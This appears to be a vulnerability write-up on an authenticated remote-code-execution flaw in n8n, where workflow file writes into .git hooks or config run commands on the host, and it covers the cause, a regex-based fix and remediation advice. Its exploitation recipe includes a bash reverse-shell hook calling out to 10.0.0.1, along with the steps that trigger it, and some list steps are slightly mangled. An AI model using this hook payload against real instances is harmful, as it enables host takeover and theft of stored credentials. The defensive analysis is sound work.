Feb 26, 2026·5 min read·3 visits
Authenticated RCE in n8n via filesystem manipulation. Attackers can write malicious scripts to `.git/hooks` or `.git/config` using standard workflow nodes. When n8n triggers a Git operation, the script runs, popping a shell on the host.
A critical Remote Code Execution (RCE) vulnerability exists in n8n, the popular workflow automation tool. By design, n8n allows users to automate file operations. However, a failure to restrict access to the `.git` directory allows authenticated users to write malicious Git hooks or configuration files. When the system subsequently performs a Git operation, these malicious files are executed by the host OS, granting full control to the attacker. It turns the very features that make n8n powerful—flexibility and filesystem access—into a weapon.
n8n is the 'fair-code' darling of the automation world. It’s like Zapier, but for people who like to self-host and write JavaScript. It’s powerful, flexible, and sits at the center of your stack, holding credentials for your databases, CRMs, and cloud providers. That makes it a high-value target. If you pop an n8n instance, you don't just get a server; you get the keys to the entire kingdom.
The vulnerability, CVE-2026-27498, is a classic case of "features gone wild." n8n is designed to read and write files. It is also designed to interact with Git repositories for version control. The problem? It didn't draw a line between "user data" and "system metadata." It let you treat the hidden .git directory just like any other folder. And as any red-teamer knows, if you can write to .git, you own the repo—and the machine running it.
The root cause here is Improper Control of Generation of Code (CWE-94), but let's call it what it really is: a logic flaw in file permission boundaries. The n8n node responsible for file I/O (ReadWriteFile) happily accepts paths provided by the user. While there are settings to restrict access to specific directories, the implementation failed to account for the danger of modifying internal version control structures.
Git is not just a storage format; it is an executable environment. It has hooks—shell scripts that run automatically when specific events happen (commits, pushes, checkouts). It has configuration files (.git/config) that can define external commands (like core.sshCommand).
The vulnerability is simple: n8n allowed a workflow to write a file named .git/hooks/post-checkout (or similar). The system didn't see this as a threat; it just saw a file write. But to the Git binary, that file is an executable instruction. The next time n8n performed a Git operation (which it does for its own version control features), Git effectively said, "Oh, a hook! I better execute this immediately."
The fix involved implementing a blacklist pattern to forbid access to sensitive paths. The developers introduced a new environment variable, N8N_BLOCK_FILE_PATTERNS, and enforced a check before any file write operation occurs.
Here is a reconstruction of the logic change based on commit 97365caf253978ba8e46d7bc53fa7ac3b6f67b32. They moved from a permissive model to a restrictive one regarding dot-files associated with git.
// THE VULNERABLE LOGIC (Conceptual)
// If the user has permission to write to /home/n8n, they can write anywhere inside it.
if (config.fileSystem.writeEnabled) {
fs.writeFileSync(userPath, content);
}
// THE FIX (Conceptual)
// Explicitly checking for the .git directory pattern
const BLOCKED_PATTERNS = [ /^(.*\/)*\.git(\/.*)*$/ ];
function isFilePathBlocked(path) {
const resolvedPath = fs.realpathSync(path);
return BLOCKED_PATTERNS.some(pattern => pattern.test(resolvedPath));
}
if (isFilePathBlocked(userPath)) {
throw new NodeOperationError(node, 'Access to this file path is restricted.');
}> [!NOTE] > The fix relies on Regex. As we all know, Regex is the duct tape of security patches. While effective against standard paths, one must wonder about edge cases in path normalization on Windows systems vs Linux systems.
Exploiting this is trivially easy if you have access to the n8n UI. You don't need memory corruption or buffer overflows; you just need to build a workflow. Here is the recipe for disaster:
/home/node/.n8n/git/workflow-repo/.git/hooks/post-commit (Adjust path to match the installation).#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1+x, but .git/config modification requires no execution bits. Alternatively, overwrite HEAD to point to a malicious ref.git commit, your hook fires, and a reverse shell connects back to your listener.This is a CVSS 9.0 for a reason. n8n is often deployed with access to internal networks, databases, and third-party APIs. It contains credentials—API keys, OAuth tokens, database passwords—stored in its encrypted credentials database.
An attacker with RCE on the n8n host can:
Because n8n allows executing arbitrary shell commands via the "Execute Command" node if enabled, many admins disable that node. This vulnerability bypasses that restriction entirely, proving that disabling the front door doesn't matter if the chimney is wide open.
The remediation is straightforward: Update immediately.
N8N_BLOCK_FILE_PATTERNS. Set it to ^(.*\/)*\.git(\/.*)*$.However, the best defense is depth. Why does your automation tool need write access to the entire disk? Run n8n in a container with a read-only root filesystem, mounting only specific writable directories for data persistence. And for the love of security, do not run it as root.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n.io | < 1.123.8 | 1.123.8 |
n8n n8n.io | >= 2.0.0, < 2.2.0 | 2.2.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| CVSS v4.0 | 9.0 (Critical) |
| Vector | AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| Attack Vector | Network (Authenticated) |
| Privileges Required | Low (Workflow Editor) |
| Status | PoC Available |
The software generates code or other content, but it does not sufficiently ensure that the generated code is free of malicious content, leading to Code Injection.